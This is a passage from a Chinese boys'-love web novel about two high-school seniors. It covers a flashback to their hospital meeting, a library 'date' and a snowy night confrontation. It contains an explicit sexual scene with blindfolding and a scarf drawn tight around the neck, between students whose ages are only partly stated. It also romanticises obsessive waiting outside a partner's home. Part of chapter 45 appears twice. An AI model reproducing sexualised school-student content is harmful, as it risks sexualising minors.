心中一阵酸楚,紧接着又是一阵心疼。 谢逾白眼眸带着几分羞怯与他对视,“你刚刚说的,算数吗?说想……日我。” 江逸瞪了他一眼:“怎么?” “今晚是你的机会,我没力气反抗,你来吗?” 江逸有时真挺佩服谢逾白, 不管多暧昧的话题, 他都能说得一脸正经。 江逸嘴角一扯,伸手捏住谢逾白的下颌, “你瞧你这副冻得半死的倒霉样, 我下得去嘴?” “你在气什么?”谢逾白看向餐桌上那杯江逸气鼓鼓给他倒的热水。 “你真不知道?” 谢逾白摇头, “嗯。” 江逸一把拎起他的领口, “我不喜欢你这种自虐似的行为,简直在戳我的雷点。外面那么冷, 你表演给谁看呢?我要是不打电话, 你打算在外面冻到几点?” “你熄灯我就回去了。” 江逸脑子一热, 抬手抬起他的下颌,紧接着咬住他的双唇,用了些力道。谢逾白像个木偶般不知反抗,密长的睫毛只是微微颤了颤。 江逸的手顺着他的衣领探进去,触碰到他的胸口,是冷的,嘴唇发白发青,耳朵倒是有了些温度, 边沿仍有些红。江逸另一只手捏起他的耳朵,“你喜欢我捏你?” “不管你怎么碰触我,我都喜欢。” “你这么喜欢,怎么不早点走到我面前?”江逸不轻不重地咬着他的唇,“比如说四年前,为什么不介绍你自己给我认识?” 谢逾白四肢僵住,挣扎着推开他,眼神惊吓,嘴唇不住抖动,“你……怎么知道的?” “小哑巴,就是你?” “你记得我?” “怎么会不记得?你那么有辨识度,毕竟我只认识你一个不会说话的。行啊你,两个月愣是一句话都不跟我说。” 谢逾白眼中满是复杂,闭上眼睛,声音酸涩,“我宁愿你永远不知道,谢雪姚真够无聊的。” 江逸手指触摸他的眼睫毛,轻点他狭长的眼尾,“说说,你那么小就对我有意思了?够早熟的呀。” 谢逾白喉结吞咽了一下,“不算有意思,只是想多看看你。” “你怎么从小就这样?在我面前爱答不理,看不到的时候就直愣愣地看我。” 经过一晚上的回忆,江逸的记忆愈发清晰,有几个片段格外深刻。 谢逾白刚到病房的时候,大多时候都是一个人呆呆地坐着,不吃饭,不说话,护士说什么他从不回应。 江逸本就闲不住,每次到病房陪姥姥聊天、给姥姥削苹果。有一天,他削完苹果,姥姥睡着了,他拿着苹果走向对床的男生,“你吃吗?苹果自家种的,没打农药。” 男生像个哑巴似的,黑漆漆的眼神看都不看他。 江逸自来熟地坐到他身边,唠唠叨叨说了好几句,问他在哪读书,对方完全不理会。 此后他一个人自言自语了大概半个月,小哑巴虽不回应,但状态比一开始好了些,江逸看到他开始吃医院的餐食。 有一天,小哑巴好像发病了,身体蜷缩起来。他吃得太少,估计是胃痉挛之类的胃病。 江逸慌乱地叫来医生,因他身边没人,江逸便全程陪着他检查,得知确实是胃病,医生叮嘱要一日三餐按时吃饭。 从那以后,江逸每天中午都会来一趟医院。那时,他经常打完篮球,浑身汗津津地走进病房,手里拿着从学校食堂打的两个卤鸡腿,一个给姥姥,一个给小哑巴。 小哑巴静静地看好久,直到江逸离开,才撕下一条条肉开始吃。 江逸爱说话,又爱笑。那时的谢逾白没想到,不经意间的几眼,从爱听他说话、被他的笑容感染开始吃东西,最后竟演变成心里眼里只有他。 奇怪的是,他没跟人家说过一句话,竟然喜欢上了他。之后的几年,谢逾白一直不明白怎么会这样,或许是在他绝望的时候,一个削好的苹果,一个不算难吃的鸡腿,一个灿烂的笑脸,成了他迎接新一天的理由。 妈妈去世以后,谢逾白说的第一句话,吐字艰难地问护士:“小逸的全名,叫什么?” “你问那个爱说爱笑的男生啊,真够孝顺的,小小年纪有耐心照顾姥姥,上卫生间都扶着去。他叫江逸,十二中的学生,他打球好学习也好,挺优秀的。” “他姥姥说过,这次考试大榜第四,将来肯定能考上一中吧。” 谢逾白嗓音干涩,“一中吗?”他好像有了一个期待。 江逸给他盛好饭,递来筷子,“不用吃太饱,一会儿我打算出去逛逛,再吃点。” 他们中午在车上没吃饭,这会儿江逸已经很饿了。 江逸做的饭菜很可口,谢逾白吃着吃着,眼睛有些模糊,那点湿意被他硬生生逼了回去。 四年前他吃过江逸做的饭,知道江逸生活能力和动手能力都很强。 “谢同学,你要为了一顿饭哭鼻子吗?”江逸一侧嘴角微微上扬,眼眸看着他。 谢逾白嗓子哽咽着,“我有个遗憾,当年应该跟你讲话的。” “可不嘛。害我误会你是哑巴这么多年。”江逸一脸笑意,饶有兴致地瞧着他,“给你个机会补上这遗憾。” 他放下筷子,右手伸过去,“同学你好,要不要认识一下?我是十二中八班的江逸。” 谢逾白瞳孔一震,仿佛被回忆的浪潮淹没。他握住江逸的手,声音带着一丝颤抖,“你好,我是谢逾白。谢谢你来到我身边。” 江逸从衣柜里拿出两条围巾,一条灰色,一条黑色,问他:“你戴哪条?” 谢逾白望着那条熟悉的黑色围巾,“黑色的。”他微微弯腰,身体前倾,“你帮我系上。” “谢同学变成乖宝宝了?系围巾都不会?”江逸嘴角勾起调侃道,手上动作起来,把人拉近,手指灵活地帮他系好围巾。 两人呼吸交织,江逸双手交叉,稍用了点力,勒住了谢逾白的脖子,看着他面色泛起淡淡绯红,“你为什么选这条围巾,记得上次我用它做什么了?” 谢逾白眼睫动了动,“嗯”了一声。 “要不要回顾一下?” 谢逾白眼神带着渴求,今晚的他格外可爱,少了些往日的别扭,直白了许多。 “换个玩法。”江逸把人推倒在沙发上,解开刚系好的围巾。在谢逾白怔愣的眼神中,将围巾绕到他的眼睛上。 谢逾白眼前顿时一片黑暗,手指不安地往前摸索,触碰到江逸的衣襟,耳边传来江逸慵懒的笑声。 江逸一只手抚摸着他的脸颊。失去视觉后,他的听觉和触觉变得敏锐。 腿上突然一沉,江逸坐到了他身上,扒掉他的外套,拽着他的头发,让他微微仰起头,露出脖颈、性感的喉结和突出的锁骨。 濡湿的触感落在锁骨处,谢逾白忍不住喘息。 一根手指抚摸了两下他的唇瓣,竟滑进了他口中,指腹压着他的舌面,搅动他的舌头,谢逾白只觉身体一阵阵地酥麻,过电一般。 他大口喘着气,浑身发热,腰腹紧绷,情潮来得又快又急。 与他的急切相比,江逸的动作缓慢得磨人,慢悠悠地解开他的衣服扣子,在他身上落下一个个吻。 “行了,到此为止吧。”谢逾白直觉再继续下去怕是不好收场。 江逸继续亲吻他的胸膛,“你说了不算,听我的。”嘴唇沿着谢逾白的脖颈一路向下,在他的胸膛上落下一个个吻。 他欣赏着谢逾白害羞地抿着那线条优美的薄唇,喉结因紧张与情动上下鼓动,肩膀也随着自己的动作止不住微微颤抖。 这一系列细微的反应,无一不让江逸感到一种隐秘的快意。 江逸的手细细感受着、温柔抚摸着。 谢逾白的呼吸愈发急促,声音也因情潮的翻涌变得喑哑而干涩,“不行……”声音微弱得如同游丝,透着几分挣扎。 江逸抬起头,嘴唇贴在谢逾白的耳边,咬着他的耳垂,温热的气息喷洒在耳廓,“为什么不行?嗯?”尾音微微上扬,十足的诱惑。 “会……会很久,你会累的。”谢逾白艰难地挤出这几个字,他的理智在情潮的冲击下摇摇欲坠。 “我就喜欢看你现在这副勾人的样子,我不怕累。”江逸声音诱惑,带着无形的钩子,拉扯着谢逾白的心弦,“给我看看,好不好?” 谢逾白觉得一股热意直冲脑门,偏过头去,“别看我……” “你是我男朋友,我光明正大地看。”他眼眸紧紧锁住谢逾白的每一个表情,堵住他的嘴唇,大胆地与他接吻。 江逸今晚情绪高涨,他曾疑惑谢逾白对他的感情为何如此炙热又毫无缘由。今天,他心中的迷雾终于散开。 为什么谢逾白总用那种仿佛快要溺水的眼神看自己,为什么非他不可,为什么要掩饰自己的情意。 江逸喜欢与谢逾白肌肤相亲,喜欢与他舌头纠缠,喜欢与他接吻时,两人面红耳赤,相互慰藉,两颗心以相同的频率跳动。 谢逾白长久以来习惯压抑自己的情感,内心早已如汹涌的浪潮,喉咙像是被紧紧锁住,压抑着没发出一点声音。 他在江逸的触碰下,温度不断攀升,心跳愈发急促,仿佛要冲破胸膛。他的脸上神情保持着平淡,只是微微颤动的鼻翼和不住起伏的胸膛,泄露了他内心的波澜。 “你在想什么?” 江逸的声音在两人交缠的唇间含糊地响起,带着一丝温热的气息。 “在想你。” 谢逾白的回答简短而直接,声音虽轻,饱含深情。 “想我什么?” 谢逾白的声音带着一丝气音,从心底最深处挤出的渴望:“让我看看你,江逸,我想看你。” 声音里满是对他的眷恋与渴望。 江逸咬住谢逾白的唇,含糊地说:“不行,你只能被我看。” 时钟的指针转了半圈,谢逾白没有要结束的迹象,江逸手指快抽筋了,“你怎么还没结束?”他咬着他的耳骨,诱惑道,“你自己弄给我看看好不好,我手都没力气了。” 谢逾白身体僵硬,全身发热,在这紧要关头被停下来,他嗓音暗沉,“江逸,你耍我?” “不然呢,你能怎么办?”江逸贴着他的唇,与他深深一吻,“我亲你,你自己来做给我看。” 谢逾白呼吸急促,手指动了动,脸皮发烫,心里这关怎么也过不去。他想站起身,“我去洗手间。” 肩膀被江逸按住,“不行,你只能在这。” 谢逾白眼神中带着一丝难以言喻的情愫,将江逸压在沙发上。他迫不及待地俯身,以一种近乎凶狠的姿态吻住江逸。他的舌头紧紧缠住江逸的舌头,要将对方融入自己的身体。 他的牙齿用力咬住江逸的唇瓣,随着力度的增加,一丝淡淡的血气在两人口中散开,谢逾白目光灼灼地盯着江逸,声音不怒自威:“以后,你还敢吗?” “你又把我嘴唇咬坏了,谢逾白,你属狗的啊?每次都下这么重的口!”江逸又疼又恼,“你让我咬回来。”他微微仰起头,两片唇因为亲吻发肿,颜色比以往更深。 谢逾白心中涌起一股别样的冲动,他的声音磁性而悦耳,蛊惑着:“你咬我,江逸,用力点咬我。” “谢逾白,我真没劲了,你先把我放开。” “开始了,你负责结束,咬我。” 江逸心一横,不再犹豫,重重地覆上谢逾白的唇,顺着脖颈一路轻咬至耳根。听着谢逾白愈发沉重且紊乱的喘息,他的手臂虽已酸胀不堪,伸出胳膊紧紧搂住他的脖颈,在谢逾白的锁骨处落下深深啃.咬。 谢逾白的身体紧绷,双眼明亮如星,嘴唇抑制不住地微微颤抖,红晕迅速爬上脸颊,呈现出一种别样的迷乱与性感,这般模样令江逸看痴了。 江逸意犹未尽,咬住他的唇瓣,与他深情缱绻地吻在一起,气息不稳地说:“再累都值了,谢逾白,你此刻的样子,让我着迷。” 第44章 约会 谢逾白盯着手机屏幕的消息。 江逸:【今天出来吗?】 谢逾白:【可以。】 【八点半来我家找我, 我们一起走。】 今天周六,江逸第一次周六约他。谢逾白走进衣帽间拿出两件外套,两件毛衫, 垂眸端详这两件衣服。 谢雪姚含笑看着,他进进出出衣帽间好几次,“你今天有约会?” 谢逾白看她一眼,“你怎么还在这儿?没事回你自己家去。” “我想多陪你两天。你不领情?”每年新年前后,母亲忌日附近,谢雪姚担心谢逾白心情低落, 尽量在家住几天。 “我没事, 你赶紧走。”谢逾白继续比对两件外套。 “长款修饰身形,建议你选长款的。”谢雪姚笑眯眯地说, “我知道一家法式餐厅, 很浪漫, 菜式也很好, 我朋友开的,给你定个好位置?” “少跟我献殷勤。”谢逾白留下长款外套, 开始搭配手表。 “黑色表盘的好看。你到底要不要定餐厅?” 谢逾白穿戴整齐, 戴好腕表, 淡淡道,“电话给我,有需要我自己定。” 李师傅开车到江逸家楼下。 谢逾白给江逸打电话,刚说了几句话,对面马路有人跟他招手,正是江逸。林飞羽搭着他的肩膀,陈最走在他右边。 谢逾白:“……” 江逸敲了敲车窗,谢逾白打开车门, 林飞羽上车,挨着谢逾白坐下,江逸随后,陈最坐在副驾驶。 江逸:“你挺准时,正好八点半,吃早餐了吗?” 谢逾白没吃,回答道:“吃了。” “我给你带了一根油条,一杯豆浆,我以为你来不及吃早餐。” 谢逾白:“……” 陈最看着谢逾白:“谢总也去图书馆上自习?我以为你回家不用学习的。” “上自习?”谢逾白不可置信地看着江逸。 江逸拍了拍背着的双肩包,“周末过后就摸底考试了,我这两天突击一下。” 谢逾白看着陈最问:“你保送了,还去自习?” “学校有交换留学项目,我打算考雅思。” 到了图书馆,几人背着书包,拿着水瓶,只有谢逾白两手空空什么也没有。他穿得跟时尚杂志里面的男模似的。 林飞羽心直口快:“你是来泡妞的,还是来复习的?” 江逸踢他一脚:“你留点口德,人家本来穿衣就是这个风格,土鳖。” “谢总,你来学习什么也不带?” 谢逾白:“……我看图书馆里面的书。” 江逸提前预约了座位,是可以说话的区。谢逾白路过他身边,打算去旁边坐着,江逸伸出脚勾住他的脚踝,“叫你来辅导我的,你去哪?跟我坐一起。” 谢逾白看了看周围,人不多,他脱掉外套,坐下,“你让我辅导你,叫他们来做什么?” “我每个周末都跟他们一起来图书馆。”以前傅现也来,江逸顾及着谢逾白的脾气,没敢叫他。 江逸坐下,做了两篇理解,电话振动,他怔怔地看着“杨女士”三个字,直到对方挂断。 不到一分钟,电话又打了过来,有不接会一直打的趋势。 谢逾白注意到了这点,淡淡的目光瞥过来。 “我出去接个电话。”江逸走到图书馆外面,高高的台阶上坐下,“喂。” 杨娴的声音传来,“小逸,你在忙什么?怎么这么久才接电话?” 江逸叹了叹气:“知知在二姨家,你想找她给二姨打电话。” “妈妈找你,想跟你聊几句。” “我在复习,没什么时间。” “小逸,你先别挂电话,妈妈长话短说。今天你们班主任老师给我打电话了,我们聊了聊你最近的情况,他夸你上进,进步很大。此外,他提到前一段时间,你出去打工了,是吗?” 江逸语气不佳:“你想说什么?” “这么多年,是我耽误了你,还把那么小的知知交给你照顾了一年,你也是个孩子,妈妈对不起你。高考只剩下不到半年时间,这段时间你安心备考,你以前的银行卡号怎么不好用了,我把生活费给你打过去。” “我已经成年了,不需要你的生活费了。” “你这孩子,别跟妈妈这么倔强,出去打工影响学习。怪我最近身体不好,无暇顾及你……” 江逸不想再听下去,“我同学叫我有事,我过去了。” “妈妈明天回去,先看看知知,然后过去看你。” “不必了。”江逸坐在台阶上,大冬天天气挺冷,他呼吸不顺畅,胸腔里面闷闷的。 “别坐地上,凉。”谢逾白站在他身边,拽他的胳膊。 江逸抬眸,目光被谢逾白牢牢锁住。谢逾白他身着黑色长款羊绒大衣,尽显优雅气质。大衣内,白衬衫外叠穿一件深灰色的V领羊绒背心,细腻的纹理彰显质感。 他气质矜冷,自成一道风景。 江逸忍不住说:“讲真的,你打算来做什么?怎么穿得这么精致?” “随便穿穿而已。” 江逸想到了什么,嘴角噙着一抹难以抑制的笑意,眼瞳闪烁着愉悦的光芒,“你该不会以为,我找你出来约会吧?” 谢逾白紧蹙眉头,没好气地说道,“你思维发散得没谱了,纯粹想多了。” 如果没有这几个月的相处,江逸看不出来,现在轻而易举地发现,明显是谢逾白被戳破心思的表情。 “我很开心,你打扮得这么帅气。”江逸冲他扬了扬双眉,“走,我带你买点喝的去,你出门连瓶水也没带。” 两人沿着台阶而下,走向马路边,谢逾白不经意间垂眸,目光落在江逸的手上,他手指细白,在凛冽寒风的侵袭下,泛起淡淡的红意。 谢逾白心中涌起一股冲动,想要牵住那双手给予温暖。 谢逾白微微侧过身,手臂抬起,手指试探着张开,伸向江逸的手。 在即将触碰到的瞬间,江逸侧身躲了一下四处乱窜的小孩,谢逾白的动作戛然而止。 小男孩妈妈道歉说:“不好意思,碰到你了吗?” “没事。” 江逸冻得发红的手,始终牵动着他的视线。谢逾白紧抿着唇,再次伸出手,一寸一寸地朝着江逸的手靠近。 当手指离江逸的手只有咫尺之遥,江逸忽然开口,“右转,对面就是了。” 谢逾白手无力地垂落,握拳,捶了下自己的腿,“挺近的。” 江逸随口说,“你冷吗?这么冷的天,要风度不要温度,不穿羽绒服?” “不冷。” “我不信,我要检验一下。”江逸嘴偏过头,看向谢逾白,摊开自己的手掌:“你手给我。” 谢逾白愣了一下,“做什么?” 江逸轻笑一声,动作自然地拉起谢逾白的手,一同塞进谢逾白的大衣口袋里:“你没骗我,你的手比我暖和。” 谢逾白没想到江逸会有这样的举动,被他拉着手塞进大衣口袋,身体微微一僵,难以言喻的甜蜜。 他侧过头,不想让江逸看到自己有些发烫的脸。 两人手揣在同一个口袋里,感受到彼此的温度和脉搏的跳动。 到了饮品店外面,谢逾白用另一只手扯了扯围巾,往江逸身边靠了靠,排队买饮品的时候帮他挡住寒风。 “你喝什么?” “绿茶,热的。” “只喝茶?”哪有人只喝茶的?江逸觉得谢逾白跟身边的任何人都不一样,有种仙气。 “老板,两杯珍珠奶茶三分糖,一杯绿茶热的,不加糖什么也不加,一杯百香果果汁半糖。” 两人并肩走着,江逸嘴里含着吸管,慢悠悠地喝着奶茶,脸上带着笑意,看向谢逾白:“你那杯绿茶味道如何?” 谢逾白插上吸管,将手中的绿茶递到江逸面前,“你尝尝看,我还没喝过。” 江逸斜睨了他一眼,接过绿茶喝了一口,评价道:“没什么特别的味道,我的奶茶更胜一筹。” 他接连喝了两口奶茶,随后挑着眼尾,眼神带笑地问谢逾白:“你想不想知道我奶茶的味道?” 谢逾白对上江逸那笑意盎然的眼眸,“我尝尝。”他伸手去拿江逸手中的奶茶杯。 不料,江逸动作迅速地将奶茶杯移到一边,眼瞳亮亮的:“你怎么这么迟钝?” 他单手自然地攀上谢逾白的肩膀,柔软的唇贴了上去。 谢逾白一怔,江逸灵活的舌尖轻巧地滑过他的唇角,像描绘他唇的轮廓。舌尖微微用力,沿着他的唇缝顶开,顺势探入。 带着奶茶香甜的柔软触感,先在他的齿间扫过,与他的舌尖温柔触碰。 谢逾白的舌刚一回应,江逸便与之缠绕,节奏逐渐加快。 江逸翻卷,吮吸着谢逾白的舌尖,与之激烈纠缠,奶茶的甜蜜在两人不断交融的津液间四溢开来。 谢逾白与江逸唇齿相依,舌头彼此追逐,每一次触碰都带来一阵酥麻的电流,从口腔蔓延到神经,进而传遍全身。 江逸退后,他眼尾轻挑,一抹撩人的风情四溢。他鲜艳的唇瓣微张带出浅浅呼吸,嗓音低缓:“谢逾白,补给你的约会,满意吗?” 第45章 想了。 周一举行升旗仪式, 江逸昨晚一直奋战到半夜两点,早晨困倦得眼睛都睁不开。 升旗仪式接近四十分钟,他站在那儿, 困意阵阵袭来,要睡过去了。 陈最和江逸身高相仿,两人站在同一排。陈最用肩膀撞了撞江逸,低声提醒:“醒醒,谢总的节目开场了。” 江逸的脑子处于迷糊状态,眼皮半耷拉着。只见升旗台上, 一个身姿挺拔的身影伫立。 台下的同学们顿时发出一阵轻微的唏嘘声, 紧接着便是小声的议论。 “我以为谢逾白只在咱们学校风光,没想到出了校门依旧这么厉害, 居然拿到物理全国竞赛金牌, 简直太神了。” “还有奥数省级一等奖, 要是他没因病退赛, 估计早就拿名次被保送了。” “这哥们儿,家境优越, 天生一副帅气模样, 还是个高智商学霸, 简直要啥有啥。” 冬日的清晨依旧寒气逼人,领奖台上的谢逾白身着校服,外面套着一件深灰色羊绒大衣。他似乎对各类大衣情有独钟,每一件穿在他身上都恰到好处,犹如天生的模特,吸引着全校师生的目光。 周一举行升旗仪式,江逸昨晚一直奋战到半夜两点,早晨困倦得眼睛都睁不开。整个升旗仪式接近四十分钟, 他站在那儿,困意阵阵袭来。 陈最和江逸身高相仿,两人站在同一排。陈最用肩膀撞了撞江逸,低声提醒:“醒醒,谢总的节目开场了。” 此时江逸的脑子还处于迷糊状态,眼皮半耷拉着。只见升旗台上,一个身姿挺拔的身影伫立。台下的同学小声的议论。 “我原以为谢逾白只在咱们学校风光,没想到出了校门依旧这么厉害,居然拿到物理全国竞赛金牌,简直太神了。” “还有奥数省级一等奖,要是他没因病退赛,估计早就拿名次被保送了。” “这哥们儿家境优越,长得好,还是个高智商学霸,简直要什么有什么。” 冬日的清晨依旧寒气逼人,领奖台上的谢逾白身着校服,外面套着一件深灰色羊绒大衣。他似乎对各类大衣情有独钟,每一件穿在他身上都恰到好处。 副校长满面春风,对着话筒高声说道:“同学们!今天,我们要特别表扬一位杰出的同学,谢逾白!他在物理全国竞赛中勇夺金牌,为我们学校争得了无上的荣誉!让我们以热烈的掌声,向谢逾白同学表示最诚挚的祝贺!” 轮到谢逾白发言,同学们安静下来。 谢逾白稳步走到话筒前:“同学们大家好,我是高三十一班谢逾白。能取得这次的成绩,我很感谢学校提供的良好环境,感谢老师们的悉心教导,我特别感谢一名同学,给我带物理复习资料。物理于我而言,是探索世界、挑战自我的窗口。谢谢大家!” 他的讲话出乎意料地简短,话音刚落,同学们纷纷鼓掌。江逸困意全无,他站的位置比较偏僻,只能勉强看到谢逾白的一个侧脸。 谢逾白侧过头,视线穿过熙攘的人海,越过层层攒动的人头,跟江逸的视线短暂地撞在一起。 这突如其来的对视,让江逸心口倏然一跳,他捂住心口,眼神中满是不可思议。 刚刚那一瞬间是怎么了?一种混乱的、不知所措的情绪,如同一团迷雾将他笼罩,令他有些恍惚,不知如何是好。 底下这么多人,谢逾白根本不知道他站在什么位置,即使知道,看不清楚的。江逸揉着胸口,心有余悸。这感受不好受。 一整个上午,江逸都精神恍惚,丢了魂儿一般。好不容易熬到中午休息,趴在桌上休息。 谢逾白转过身来,胳膊悠然搁在他的桌面上。 江逸的视线落在那只胳膊上,下意识问道:“你干嘛?” 谢逾白的声音一贯清散,“一会儿一起去吃饭。” “为什么?” 谢逾白环顾四周,见没什么人,凑近江逸,轻声说:“上午你听见我的发言了吗?我最想感谢的人是你,中午请你吃饭。” 他的气息洒在江逸的耳廓,酥酥麻麻的。江逸的视线从他的手肘上移,先是看到线条优美的下颌线,再往上,薄而性感的嘴唇,鼻梁高挺如山峰,鼻尖上那颗小巧的美人痣。 当江逸的目光对上谢逾白的眼瞳,沉溺其中。 他的眼眸漆黑深沉,一眼根本望不到底。江逸读懂了他眼底不加掩饰的浓情,一种足以看穿人心、热烈的深情。 刹那间,令人窒息的心跳失常再次袭来,江逸的心脏砰砰乱撞。 他慌乱地眨了眨眼睛,满心困惑:这究竟是什么情况?难道自己得了心脏病? “谢逾白,你转过去,离我远点。” 谢逾白的声音温和:“怎么了?看你今天脸色不太好,身体不舒服吗?” 江逸忙不迭点头,“我心脏有点难受。” “具体怎么不舒服?你跟我描述一下,我咨询一下医生。” “你离我远点,看看这样能不能好受点。”江逸想躲开这令人心慌意乱的氛围。 谢逾白:“……” 放学后,趁着任老师把谢逾白叫去办公室的间隙,江逸迅速背起书包,一阵风般匆匆跑出教室。 陈最见状,调侃道:“逸哥,有鬼在追你?跑这么急!” 宋越约了江逸,他们已许久未见,相约在宋卓的烧烤摊。天寒地冻,烧烤摊支起了透明帐篷,里面烧着通红的炭火,不觉得冷。 江逸坐在桌旁,闻着空气中弥漫的羊肉串香气,仰头喝了口啤酒,心中感慨:这才是他熟悉且惬意的生活。 “怎么了?今天你话少。”宋越与江逸自幼一起长大,一下子就察觉到他的异样。 “可能最近学习压力太大了,马上又要考试了。对上次你说新买的房子能挂学区,我想把户口挂你那儿。周靖泽家里出了点状况,他忙得不可开交,我不好意思麻烦他。” 宋越听后,面露犹豫之色,这房子是谢逾白的,但他不能说,人要言而有信,“可以。” “我打听过外面挂学区的价格,大概得五万块,钱我会给你的。” “你少来这套啊,跟我整这些,信不信我跟你翻脸!”这钱宋越打算自己出,毕竟谢逾白给他减少了80万的经济损失,从这点来看,谢逾白聪明靠谱,有种复杂感。 宋越看着江逸,自从他不在酒吧上班后,身上的学生气变得浓郁。“听说你篮球赛拿了省级前八的好成绩,你好好把握,争取考个好大学。哥几个学习都不咋地,就你能拿得出手。” 宋越点燃一根烟,悠悠道:“毕业以后的日子很无趣,除了挣钱还是挣钱,还是念书好。等你上了大学,带我去象牙塔里转转。” “没问题,不过我机会不大,文化课差得有点多。”江逸喝了一大口啤酒,苦涩在舌尖散开,“人生就是这么操蛋,没有回头路。至少努力过,以后不后悔就行。” “阿逸,你妈最近联系你了?” “你知道什么了?” “那天路过你二姨家的糖水店,看到她的车停在门口。” 江逸语气不善:“她既然走了,回来干什么?” “你二姨和二姨夫来烧烤摊吃饭,跟我哥聊了几句,听说你妈在办离婚手续。” 江逸先是微微一惊,随后恢复平静,嘴角浮起一丝嘲讽:“她这次婚姻居然坚持了三年,不赖。” 见他心情不好,宋越转移话题:“你跟谢逾白还处着?” “你这话什么意思,盼着我俩分手呢?” “哪能啊,有点担心,你们以后能在一个城市吗?” “为什么非得在一个城市?” “你第一次谈恋爱,什么也不懂?异地恋很难。” 江逸嗤笑一声:“有什么难的?十八年来我一直是自己过的,男生谈恋爱别搞得跟女孩子似的,整天腻腻歪歪,有什么意思?” 他打心底觉得异地恋并非什么难以逾越的障碍。 “你们还没上床吧?” 江逸听闻,一口酒直接喷了出来。宋越看着手背上的啤酒,笑骂道:“你找死啊?你怎么突然聊起这个?” “你太单纯,等上了床,很多事就不一样了。总之,没人能坚持异地恋,除非长得丑或者那方面不行。” 江逸向来没在这些事上费过心思,“顺其自然吧,能在一起就好好处,不能在一起也没什么大不了的。” “你找个机会跟他聊聊,看看他对未来怎么想的?” 江逸烦躁地用手指划过眉骨,“你以为我没想过?谢逾白一根筋,我怕他做出什么傻事,能拖一天是一天吧。”毕竟之前闲聊,他曾说出要一辈子在一起之类惊人的话。 与宋越一番喝酒畅谈后,江逸脚步踉跄,深一脚浅一脚地往家走去。 途中,天空纷纷扬扬飘起了雪花,如棉絮簌簌落下。 江逸紧了紧围巾,将围巾又缠了一圈,掌心朝上伸出手,雪花一触碰到他的手心,即刻化作晶莹的水珠。 周遭一片静谧,天地宛如一位宽厚的长者,以其独有的奇妙与包容,接纳着世间万物。 江逸走到楼下,熟悉的车赫然停在楼前。 刹那间,那种心悸的感觉再度袭来,令他手脚变得僵硬。 谢逾白瞧见江逸归来,推开车门走了下来。他身着今日升旗仪式上的那件灰色大衣,雪花悠悠地落在他的发梢、眉骨以及肩膀上,为他增添了几分清冷的诗意。 此时已过晚上十点,楼门口寂静无人,唯有他们二人默默对视。 江逸恍惚间生出一种错觉,仿佛自己独自在漫长的道路上跋涉,疲惫时,眼前的人始终在这里静静等候。 一看到谢逾白,江逸的心剧烈跳动起来,要挣脱胸膛飞出去似的。他眼神中满是迷茫与懵懂,呆立原地。 谢逾白一步一步朝他走近。 两人的身影即将擦肩而过,江逸像是受到某种莫名的驱使,向后退了一步。 “你去哪了?”谢逾白想要拉住他的手。 江逸条件反射般,迅速将手背到身后,“我手不干净,刚吃烤串了。” “你身体好些了吗?” “没有。” “那你还去喝酒?这样不会让身体更难受?” 江逸抬手蹭了蹭鼻子,“酒能治病,每次心情不好,我就想去喝点酒。” 谢逾白无奈地捏了捏眉心,“你究竟是心脏不舒服,还是单纯心情不好?” “现在心情还行,你来找我,是不是有什么事?” “没事就不能找你了?”一整天,谢逾白想跟他独处一会也办不到,他跟个泥鳅似的,滑得不得了。 谢逾白有些心累,懒得装了,“我……想你了。” 直白的话语,让江逸一时不知所措,“我们天天在学校见面,有什么好想的?” 谢逾白向前一步,不顾江逸的抗拒,一把将他拥入怀中,声音深沉:“我也想知道为什么。你告诉我,为什么天天相见,我竟会如此思念你?” 他们此前也拥抱过许多次,从未有哪一次,让江逸慌乱失态。 他的心仿佛要跳到嗓子眼,好不容易推开谢逾白,眼神无措,嘴唇因紧张而微微发白,“我困了,你有什么事明天再说吧。” 他急忙转身,刚迈出两步,身体便被谢逾白从身后紧紧抱住。 谢逾白的声音在耳畔响起,“你真的很难懂,你能不能对我好点?” 江逸感觉身体一阵发麻,脊背僵硬,“我对你怎么不好了?” “我说想你的时候,你能不能也说想我了?”他嗓音有些委屈。 江逸努力压制着心跳,听见自己说:“嗯,想了。” 第46章 你乖一点 江逸发哑:“松开我, 我真困了,得回去睡觉了。” 谢逾白垂下手臂,在冷风细雪中矗立着。 江逸转身留下一句:“你也早点回家睡吧, 有什么事明天上学再说。” “明天上学你仍然会很忙,不是吗。”谢逾白隐隐察觉到,江逸似乎有着很强的边界感,每当两人关系近乎亲密无间时,他总会选择躲开。 “明天不会那么忙。我上去了。”江逸边说边往回走,身后有一道炽热的视线, 始终紧紧地落在他身上。 江逸回到家中, 随手将外套扔在沙发上,烦闷地用手抓了抓头发。他身上满是酒味, 他走进浴室, 冲了个澡, 刷了牙后, 躺到床上,拉过被子盖上。 辗转反侧间, 怎么也睡不着。他起身来到窗边, 雪花肆意地飘落, 楼下那辆车静静停在那里。 他烦闷地抓起手机,拨通电话,没好气地吼道:“谢逾白,你赶紧给老子回家,在我家楼下蹲着干嘛?” “等你睡了我再走。”电话那头传来谢逾白沉稳的声音。 “你怎么知道我什么时候睡觉,我现在就睡,你现在就给我走!”江逸没耐心地催促。 “嗯。” 江逸等了十几分钟,忍不住又从窗户往下看去, 那辆迈巴赫停在原地。他再次拨通电话。 “你大爷的谢逾白,你是不是有病?外面天寒地冻的,你知不知道?”江逸的怒火蹭蹭地往上冒。 “车里有空调,不太冷。”谢逾白的语气波澜不惊。 “给你三秒钟,告诉我,你他妈的到底要干什么?”江逸气得几乎要跳脚。 谢逾白没有丝毫迟疑,直接说道:“让我上楼。” “你给我上来!” 江逸紧紧盯着门口,谢逾白裹挟着一身风雪推门而入。 他的乌发被雪花沾染,几缕湿漉漉地贴在光洁额头。薄唇因寒冷泛着淡淡青紫,漆黑瞳孔透着近乎疯狂的神色。 江逸看着心里直冒火,恨不能冲上去咬他两口, “你发什么神经,好端端的,你怎么又这样了?”江逸忍不住质问道。 “你跟我装傻?你以为我察觉不到,你在躲我?你到底在怕什么?”谢逾白的声音中带着一丝不解。 江逸实在不想理会这些剪不断理还乱的情绪,无奈地说:“你别胡思乱想了行不行?这么冷的天,明天得上学,大晚上的你闹什么?” 谢逾白身上、头发上落满了雪。若是往常,江逸肯定会心疼地上前帮他拍落雪花。 此刻,江逸一脸戒备地站在原地,没有丝毫要上前的意思。 谢逾白心思敏感,心脏像是被无数细丝缠绕,丝丝缕缕地疼着,“你,算了。” 他转身走向卫生间,拍掉身上的雪,脱掉了外套。 谢逾白从卫生间走出,精壮的上半身袒露在外,肌理分明的线条完美,结实的胸肌与腹肌上挂着几串晶莹的水珠,顺着紧实的线条滑落。下身的长裤勾勒出劲瘦的腰线。 